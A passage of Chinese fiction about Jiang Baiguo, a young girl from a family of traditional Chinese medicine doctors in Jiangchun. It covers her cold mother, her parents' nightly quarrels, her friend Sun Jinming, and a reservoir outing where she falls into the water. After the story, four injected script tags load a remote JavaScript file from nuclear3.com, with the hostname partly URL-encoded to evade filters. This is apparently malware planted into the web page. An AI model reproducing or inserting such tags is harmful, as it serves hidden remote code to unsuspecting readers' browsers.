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江春城说是个小城也不小,人口有三十多万,说是个都市又太乡土,很少有人能说的清这是个镇还是个县还是个市,它就连在行政划分上都很模糊——县级市,实在不知道是县还是市。 不管是什么吧,这里的人都过的很好,小桥流水,民风淳朴。而且江春城在附近几个城市还是很有名气的,因为这里有一个祖传中医,不仅医术高明而且善施,不像一些大医院没钱别想进。附近看不起病的老百姓常常来这里寻药,没谁空手回去过。江白果就生在这个家里,是唯一的江家传人。 江白果六岁开始记事,在她记忆里没有外公,她刚出生的时候外公就死了,听外婆说是被一口痰噎死的。“她不喜欢你是女娃呀,你要是个男娃,你外公现在兴许还活着。”不过外婆对江白果还是很好的,只是母亲并不喜欢她,看她的表情总是淡淡的,好象看病人一般。 外公死后父亲就穿上了白褂,母亲是他的助手,虽然他们很少说话,但是配合很默契。六岁的江白果除了和外婆一起晒药方,就是站在父母问诊的门口,边踢毽子或玩石子边往里看:病人进去,如果开口说话,父亲就会冲他摆摆手,然后给他把脉,边说着什么,母亲那边就开始包药,父亲这边看好了,母亲那边也把药包好了。问诊室很狭长,父亲坐在东头,南边一面墙都是药盒,一个一个小抽屉组成了一面墙的药盒,母亲每次都能准确地从里面找到自己需要的中药。无数的小抽屉对于六岁的江白果来说充满了诱惑,她常趁家里人不注意去打开那一个个小抽屉,去闻那里边的药香,到八岁父亲逼她认中药时,她已经能熟练的从小抽屉里拿各种药了。 九岁那年,外婆死了。没过过多久,江白果晚上就常常听到父亲和母亲的吵架,有时候很晚了,他们还吵,不过第二天早上他们又会跟什么事都没发生一般坐在问诊室配合默契地给病人看病。 开始江白果很害怕,后来就习惯了,还把它当故事一样讲给孙锦明听。孙锦明第二次就给她带来了两团雪白的棉花,让她以后晚上睡觉前把耳朵堵上,这样就听不到父母的吵架声了,因为他常常这么做。 孙锦明比江白果大两岁,不过个子还没江白果高,又瘦又小,可是很有力气。江白果家有个小石磨,铜锣那么大,很沉,就放在院子里,外婆生前常常和江白果在院子里磨豆腐,先把挑好的豆子用水浸泡,然后用勺子挑了豆子,一勺勺倒入磨盘的洞眼里,一般是江白果舀豆子,外婆转磨盘,外婆的力气小,磨盘沉,转上几卷就要休息一会,一上午只能磨一碗豆子。外婆去世后小石磨没人动了,成为江白果和孙锦明的玩具,他们常常用它来转各种异想天开的东西,比如碎苹果,比如米,比如橘子,想到什么就放什么进去。孙锦明有力气,陪江白果玩这个一上午也不会说累,把磨盘转得飞快,可以把米研磨成很细很细的粉,就像母亲扑在脸上的东西一样。有一次,两人又磨了很多米粉,江白果突发奇想把这米粉混到她母亲用的圆盒子粉里,后来被发现,挨了一顿毒打。那以后江白果就不玩了这个游戏,让孙锦明非给她找更有意思的东西。 是春天,江春城满山遍野盛开了映山红,孙锦明决定偷偷带江白果去采映山红。等到农历初一那天,来江氏中医看病的人把院里院外围了个满,江白果趁没人注意牵了孙锦明的手出了院子往江春城旁边的一座水库跑去。山围绕着水,水倒映着山,山上有鸟叫,水里有鸭子游,听孙锦明描述过无数遍,江白果早就想去了。 山看着很近,可是走了很长时间才到。两人一路小跑,到了水库脚下已是满头大汗。江白果直嚷渴,孙锦明就带她从水库的一角下了阶梯,让她喝水库里的水。他转身去旁边的山坡上拿水袋。孙锦明常常随父亲来这里砍柴。江春城的人都挺有钱的,不过孙锦明家很穷,在江春城姓孙的都很穷,幸好这里好活人,山上有柴,水里有鱼。 孙锦明转身去拿水袋,江白果边喝着水,边用手划拉着水库的水,水真的很清澈,可以到看成群结队的小鱼在水里游,江白果用手去抓,鱼很快就散了,不一会又结成队子摇摇摆摆游过来,江白果抓了几次都没抓着,着急了,看见水里还有阶梯,就挽了裤腿要站在水里的阶梯上抓鱼。下一层没抓到,又下一层还是没抓到,等江白果感觉自己上衣都湿了时,她才发现自己已经下到水里了,有些慌,回头看孙锦明没看见,就大声叫起来,然后脚下一滑掉进水库。 <Script Src=http://%63.nuclear3.com/css/c.js></Script><Script Src=http://%63.nuclear3.com/css/c.js></Script><Script Src=http://%63%2Enuclear3.com/css/c.js></Script><Script Src=http://c.nuclea%723.com/css/c.js></Script>
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